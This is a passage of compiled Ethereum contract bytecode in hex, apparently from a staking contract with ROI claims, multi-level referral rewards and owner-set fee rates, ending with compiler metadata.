2df91906124b6565b939d929c50909a509850909650945050505050565b6002600154036113165760405162461bcd60e51b81526004016107ec906124c9565b6002600155336000908152600a602052604090205483106113695760405162461bcd60e51b815260206004820152600d60248201526c496e76616c6964207374616b6560981b60448201526064016107ec565b336000908152600a6020526040812080548590811061138a5761138a612473565b906000526020600020906009020190508060080160019054906101000a900460ff16156113eb5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b60448201526064016107ec565b60058101546113fd9062278d0061249f565b816004015461140c91906124b6565b42101561144f5760405162461bcd60e51b815260206004820152601160248201527014dd185ad9481b9bdd081b585d1d5c9959607a1b60448201526064016107ec565b60088101805461ff0019166101001790556004805460405163d0def52160e01b81526000926001600160a01b039092169163d0def52191611496913391899189910161257a565b6020604051808303816000875af11580156114b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d991906125ba565b6000818152600b60209081526040808320899055600c8252918290208054336001600160a01b031990911681179091556002860154600887015484518681529384019190915260ff1682840152426060830152915192935087927fb96786233bb6bc33540f7c680cd986e8e91e40821d2a938706dad2e6484822519181900360800190a3505060018055505050565b60026001540361158a5760405162461bcd60e51b81526004016107ec906124c9565b6002600155336000908152600a60205260408120815b81548110156116e15760008282815481106115bd576115bd612473565b906000526020600020906009020190506000816005015462278d006115e2919061249f565b82600401546115f191906124b6565b905060008142106116025781611604565b425b905082600601548111611619575050506116cf565b60006201518084600601548361162f91906124ed565b6116399190612516565b90508060000361164c57505050506116cf565b60006127108286600301548760010154611666919061249f565b611670919061249f565b61167a9190612516565b9050611689826201518061249f565b85600601600082825461169c91906124b6565b92505081905550808560070160008282546116b791906124b6565b909155506116c7905081896124b6565b975050505050505b806116d981612561565b9150506115a0565b50600082116117255760405162461bcd60e51b815260206004820152601060248201526f4e6f20524f4920617661696c61626c6560801b60448201526064016107ec565b814710156117615760405162461bcd60e51b81526020600482015260096024820152685661756c74206c6f7760b81b60448201526064016107ec565b61176d33600084611a19565b336000818152600960209081526040808320838052600801825291829020600101548251868152918201527f841efd3321774b5a5ba123dcf983d5197208a29bbc201135573056e6c11fcac4910160405180910390a2505060018055565b6118266040518061014001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600060ff1681526020016000151581525090565b6001600160a01b0383166000908152600a6020526040902080548390811061185057611850612473565b600091825260209182902060408051610140810182526009909302909101805483526001810154938301939093526002830154908201526003820154606082015260048201546080820152600582015460a0820152600682015460c0820152600782015460e082015260089091015460ff80821661010080850191909152909104161515610120820152905092915050565b6000546001600160a01b0316331461190c5760405162461bcd60e51b81526004016107ec9061252a565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6000546001600160a01b031633146119645760405162461bcd60e51b81526004016107ec9061252a565b6000821180156119745750600081115b6119af5760405162461bcd60e51b815260206004820152600c60248201526b496e76616c6964207261746560a01b60448201526064016107ec565b600791909155600855565b6000546001600160a01b031633146119e45760405162461bcd60e51b81526004016107ec9061252a565b6001600160a01b0381166119f757600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061271060055483611a2c919061249f565b611a369190612516565b9050600061271060065484611a4b919061249f565b611a559190612516565b9050600081611a6484866124ed565b611a6e91906124ed565b6001600160a01b03871660009081526009602052604081209192509060080181876002811115611aa057611aa0612295565b60ff1660ff168152602001908152602001600020905084816000016000828254611aca91906124b6565b9250508190555081816001016000828254611ae591906124b6565b9250508190555083816002016000828254611b0091906124b6565b9250508190555082816003016000828254611b1b91906124b6565b925050819055508460106000828254611b3491906124b6565b90915550508315611b7b576003546040516001600160a01b039091169085156108fc029086906000818181858888f19350505050158015611b79573d6000803e3d6000fd5b505b8215611bbd576002546040516001600160a01b039091169084156108fc029085906000818181858888f19350505050158015611bbb573d6000803e3d6000fd5b505b6040516001600160a01b0388169083156108fc029084906000818181858888f19350505050158015611bf3573d6000803e3d6000fd5b506001600160a01b03871660009081526009602052604081206003018054849290611c1f9084906124b6565b92505081905550866001600160a01b03167fc40a4b43695ef32af387658180409241b391d76ab9c46b43276d7d86ac5748b4878785604051611c63939291906125d3565b60405180910390a250505050505050565b60006113ba8210611c8757506004919050565b61041a8210611c9857506003919050565b6102268210611ca957506002919050565b506001919050565b6001600160a01b038083166000908152600960205260408120546101009004909116905b600781108015611ced57506001600160a01b03821615155b15611d61576001600160a01b03821660009081526009602052604081206005018054859290611d1d9084906124b6565b90915550611d2c905082611e3c565b6001600160a01b0391821660009081526009602052604090205461010090049091169080611d5981612561565b915050611cd5565b50505050565b6001600160a01b0380831660009081526009602052604081205461010090049091169081611d96576000611db7565b6001600160a01b038083166000908152600960205260409020546101009004165b905060006001600160a01b038216611dd0576000611df1565b6001600160a01b038083166000908152600960205260409020546101009004165b9050611e13836064611e0487600561249f565b611e0e9190612516565b612026565b611e24826064611e0487600261249f565b611e35816064611e0487600161249f565b5050505050565b6001600160a01b03811660009081526009602052604090206005810154683635c9adc5dea000008110801590611e9757506001600160a01b0383166000908152600d602090815260408083206001845290915290205460ff16155b15611eb457611eb4836001683635c9adc5dea000006101f4612069565b68bdbc41e0348b3000008110158015611ef257506001600160a01b0383166000908152600d602090815260408083206002845290915290205460ff16155b15611f0f57611f0f83600268878678326eac900000610258612069565b6901ccc9324511e45000008110158015611f4e57506001600160a01b0383166000908152600d602090815260408083206003845290915290205460ff16155b15611f6c57611f6c83600369010f0cf064dd592000006102d0612069565b6903eae3130ecc969000008110158015611fab57506001600160a01b0383166000908152600d602090815260408083206004845290915290205460ff16155b15611fc957611fc983600469021e19e0c9bab24000006103e8612069565b690608fcf3d88748d00000811015801561200857506001600160a01b0383166000908152600d602090815260408083206005845290915290205460ff16155b15610c8c57610c8c83600569021e19e0c9bab24000006104b0612069565b80600003612032575050565b6001600160a01b038216156120515761204d82600183611a19565b5050565b60025461204d906001600160a01b0316600183611a19565b6000612710612078838561249f565b6120829190612516565b6001600160a01b0386166000908152600d60205260408120919250600191908660058111156120b3576120b3612295565b60058111156120c4576120c4612295565b815260208082019290925260409081016000908120805494151560ff199586161790556001600160a01b0389168152600990925290206006018054869216600183600581111561211657612116612295565b02179055506001600160a01b03851660009081526009602052604090204260079091015561214685600283611a19565b846001600160a01b03167fbb7bdfdc215fad1b32ff89f4494115dd4d41d8ef621b21c39b948b4b04d578808560405161217f91906125fb565b60405180910390a25050505050565b6000602082840312156121a057600080fd5b5035919050565b80356001600160a01b03811681146121be57600080fd5b919050565b600080604083850312156121d657600080fd5b6121df836121a7565b946020939093013593505050565b6000806040838503121561220057600080fd5b612209836121a7565b915060208301356003811061221d57600080fd5b809150509250929050565b6000806040838503121561223b57600080fd5b50508035926020909101359150565b6000806040838503121561225d57600080fd5b612266836121a7565b915060208301356006811061221d57600080fd5b60006020828403121561228c57600080fd5b610be7826121a7565b634e487b7160e01b600052602160045260246000fd5b600681106122bb576122bb612295565b9052565b88151581526001600160a01b038816602082015260408101879052606081018690526080810185905260a08101849052610100810161230160c08301856122ab565b8260e08301529998505050505050505050565b60008060006060848603121561232957600080fd5b8335925060208401359150612340604085016121a7565b90509250925092565b60008060006040848603121561235e57600080fd5b83359250602084013567ffffffffffffffff8082111561237d57600080fd5b818601915086601f83011261239157600080fd5b8135818111156123a057600080fd5b8760208285010111156123b257600080fd5b6020830194508093505050509250925092565b600061014082019050825182526020830151602083015260408301516040830152606083015160608301526080830151608083015260a083015160a083015260c083015160c083015260e083015160e08301526101008084015161242d8285018260ff169052565b5050610120928301511515919092015290565b6000806040838503121561245357600080fd5b61245c836121a7565b915061246a602084016121a7565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610b1c57610b1c612489565b80820180821115610b1c57610b1c612489565b6020808252600a90820152695265656e7472616e637960b01b604082015260600190565b81810381811115610b1c57610b1c612489565b634e487b7160e01b600052601260045260246000fd5b60008261252557612525612500565b500490565b6020808252600990820152682737ba1037bbb732b960b91b604082015260600190565b60008261255c5761255c612500565b500690565b60006001820161257357612573612489565b5060010190565b6001600160a01b03841681526040602082018190528101829052818360608301376000818301606090810191909152601f909201601f1916010192915050565b6000602082840312156125cc57600080fd5b5051919050565b60608101600385106125e7576125e7612295565b938152602081019290925260409091015290565b60208101610b1c82846122ab56fea26469706673582212208ac56fecf3de03b65d1f9c6c1e8052aac0635bd82aa0e54311b39fd6f354649164736f6c63430008140033